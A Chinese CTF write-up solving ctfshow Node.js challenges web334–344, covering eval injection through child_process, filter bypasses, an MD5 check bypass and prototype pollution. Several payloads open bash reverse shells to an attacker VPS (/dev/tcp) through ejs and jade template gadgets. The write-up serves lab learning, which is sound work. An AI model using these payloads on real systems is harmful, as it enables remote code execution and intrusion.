Skip to main content

nodejs

可能写的有点啰嗦,记录自己做题的过程

什么是nodejs

Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

web334

user.js发现username: 'CTFSHOW', password: '123456'

源码在login.js,发现登录成功会拿到flag,即重点看登录部分

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

要求是name不等于CTFSHOW,第二行users.find就是取user.js部分,item.username=CTFSHOW,意思是name的大写为CTFSHOW也能通过判断,所以这里已经可以得到账号密码

username:ctfshow
password:123456

登录即可获得flag

web335

源代码发现/?eval=

然后传一个?eval=ls,回显是找不到文件,所以这里可能是去include一个文件之类的

但是测试一下发现连index.php都不能找到,于是我又传了一个eval=1,在index.php回显了一个1

image-20220118124538341

考虑到这里是nodejs,eval很有可能是执行的eval函数。在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

查看nodejs文档的child_process:http://nodejs.cn/api/child_process.html

注意到:child_process.exec(command[, options][, callback])

于是构造一个payload

require("child_process").execSync('ls')

发现flag:fl00g.txt,cat即可

web336

依旧是eval,但传之前的payload会显示 tql ,说明这里需要绕过

测试了一下,是过滤了exec字符串

这里想办法拼接exec来绕过

require("child_process")['exe'%2B'cSync']('ls')

看了下wp,这里是可以看到源码的

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。

于是传?eval=__filename可以看到路径为/app/routes/index.js

然后传eval=require('fs').readFileSync('/app/routes/index.js','utf-8')可以发现过滤了exec和load

web337

源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

要传入a和b,a和b要为真、a和b长度相等,a不等于b,a+flag和b+flag在md5后相等,则输出flag

这个好像在哪见过,但我实在是忘了,好像是在大赛原题板块有一道,绝对CTFSHOW大赛原题板块有一道这个,当时我还做了,肯定有!

首先想到的是传数组来绕过,但测试发现不行,于是通过控制台来调试看看

image-20220118130411345

控制台测试了一下发现两个值并不相等

image-20220118130627421

发现这样传的值相等,即传入a[:]=1&b[:]=2就能绕过

web338

和第一题一样的登录界面,下载源码解压

先随便传一个123 123,回显登录失败{"username":"123","password":"123"}

看源码,在routes/login.js中看到登录部分

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}

});

module.exports = router;

其中还require了一个utils/common

//common.js
module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

只要secert.ctfshow==='36dboy'就会打印出flag。考点是原型链污染,第一次接触,看看P神写的。

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

顺便在看的时候发现common.js和P神里面举例的JS可以说是一模一样

于是尝试污染Object类,添加{“ctfshow”:“36dboy”}属性。在发包的时改一下

image-20220118132004495

因为原型污染,secret对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'

image-20220118132013320

web339

login.js里新增与修改了

//login.js
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
......
if(secert.ctfshow===flag){
res.end(flag);
......

此外还新增了一个api.js

//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});

module.exports = router;

又是新知识点捏

预期解

漏洞点在res.render('api', { query: Function(query)(query)});

Function里的query变量没有被引用,通过原型污染给它赋任意值就可以进行rce。

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}

在index界面POST之后直接POST访问api界面即可

玛德新买的那台服务器忘了开安全组我硬弹了20分钟,蚌埠住了

flag在login.js里

image-20220118181715127

这样说明成功了

image-20220118181734630

非预期解

ejs模板漏洞导致rce(Code-Breaking 2018 Thejs题(可见P神博客,就之前的那个链接))

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}

payload使用方法同上,先index发包再api发包

web340

这次login里面多定义了

//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);

这里需要污染两级,可以看yu师傅的博客https://blog.csdn.net/miuzzx/article/details/111780832#web339_48

里面有一个举例

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

web341

这次删除了api,此外login也改了

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

});

module.exports = router;

这里就用339的非预期,是这题的预期解。注意的是要嵌套,因为是340的改版。

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}

然后随便访问界面即可,比如首页刷新一下,连上后直接输入env看环境变量即可找到flag

image-20220118190953129

web342-343

这里据说是jade rce(https://xz.aliyun.com/t/7025),因为我没去了解过,所以这里就照师傅们的打了

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

发包的时候请求头中的“Content-Type”改为"application/json"

image-20220118192651924

找flag依旧是env

web344

router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

过滤了逗号,甚至还过滤了%2c,然后%2c正好也是逗号

总之要传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

这里直接把要传的参都给url编码就可以了

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d